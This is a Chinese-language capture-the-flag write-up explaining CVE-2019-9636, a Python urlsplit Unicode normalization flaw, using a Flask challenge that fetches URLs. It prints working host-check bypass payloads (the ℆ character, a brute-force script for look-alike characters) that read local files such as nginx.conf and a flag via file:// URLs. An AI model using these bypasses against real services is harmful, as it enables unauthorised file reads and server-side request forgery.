urlsplit 不处理 NFKC 标准化(CVE-2019-9636)

urlsplit 不处理 NFKC 标准化(CVE-2019-9636)

漏洞的原理:因为unicode编码处理不当产生的,即经过特殊制作的url可能会被错误解析以定位cookie或身份验证数据,并将该信息发送到与正确解析时不同的主机

影响版本:python 2.7.x至2.7.16和3.x至3.7.2

打开页面后,我们可以看见python写的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname #解析出主机名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1] #再次解析主机名
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'): #对www.example.com按.划分,先按idna编码,再utf-8解码
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost) #组合好解码后的主机名
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname #解析出主机名,要等于suctf.cc
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

这是不完整的源码,我们可以在github上下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from flask import Flask, Blueprint, request, Response, escape ,render_template

from urllib.parse import urlsplit, urlunsplit, unquote

from urllib import parse

import urllib.request

app = Flask(__name__)

# Index

@app.route('/', methods=['GET'])

def app_index():

return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])//这以上就是声明一些路由和传参方式没什么太大的用处

def getUrl():

url = request.args.get("url")//接收传进来的url

host = parse.urlparse(url).hostname//主要是用于解析url中的参数 对url按照一定格式进行 拆分或拼接

if host == 'suctf.cc':

return "我扌 your problem? 111"

parts = list(urlsplit(url))

host = parts[1]

if host == 'suctf.cc':

return "我扌 your problem? 222 " + host

newhost = []//以上两个if判断就是检测传进来的是不是suctf.cc',如果是就报错

for h in host.split('.'):

newhost.append(h.encode('idna').decode('utf-8'))

parts[1] = '.'.join(newhost)

#去掉 url 中的空格

finalUrl = urlunsplit(parts).split(' ')[0]

host = parse.urlparse(finalUrl).hostname

if host == 'suctf.cc'://这里判断到如果为suctf.cc就可以执行读操作

return urllib.request.urlopen(finalUrl, timeout=2).read()

else:

return "我扌 your problem? 333"

if __name__ == "__main__":

app.run(host='0.0.0.0', port=80)

其中代码

1
request.args.get("url")

意思是获取get提交的url参数的值

而这行代码

1
parse.urlparse(url).hostname

意思是获取url中的域名

parse.urlparse()

用于获取网址中的网络协议、域名、文件存放路径、查询字符、可选参数以及拆分文档

代码示例:

1
2
3
4
5
6
7
8
9
10
from urllib import parse
url = 'https://www.baidu.com/s;index.php?tn=78040160_14_pg&ch=16#1'

result = parse.urlparse(url)
print('scheme:',result.scheme) #网络协议
print('netloc:',result.netloc) #域名
print('path:',result.path) #文件存放路径
print('query:',result.query) #查询字符
print('params:',result.params) #可选参数
print('fragment:',result.fragment) #拆分文档中的特殊猫

而代码

1
list(urlsplit(url))

意思是拆分url,并以数组的形式存储起来

代码

1
2
3
4
5
for h in host.split('.'):

newhost.append(h.encode('idna').decode('utf-8'))

parts[1] = '.'.join(newhost)

将host中的”.”给去除掉,并将host拆分为一个一个字符进行idna编码和utf-8解码,而后又给数组中的元素用”.”连接起来,而这里就是漏洞的存在,我们可以构造有特殊字符的url,来绕过过滤,到达我们想访问的地方。

而后会再经过一层过滤后,便可以使用urllib.request.urlopen()来读取文件

同时我们打开页面源码,我们可以看见nginx的提示,而nginx文件时重要配置文件,里面有许多重要信息

1
2
3
4
5
6
7
8
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

而我们想要读取就要绕过前两层的suctf.cc,第三层域名要等于suctf.cc,所以我们可以使用这个漏洞进行绕过,有两种方式

第一种

使用℆ 字符进行绕过,在进行idna编码和utf-8解码时,会将℆ 转换为c/u,所以我们可以构造paylaod

1
/getUrl?url=file://suctf.c℆ sr/local/nginx/conf/nginx.conf

来看配置文件所在地,然后找到flag所在文件后,构造payload

1
file://suctf.c℆sr/fffffflag

第二种方法

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

来生成不同的c来绕过前两层的suctf.cc的判断,可以构造payload

1
/getUrl?url=file://suctf.cC/usr/local/nginx/conf/nginx.conf

来读取配置文件信息,发现flag所在位置后,用payload

1
?/getUrl?url=file://suctf.cC/usr/fffffflag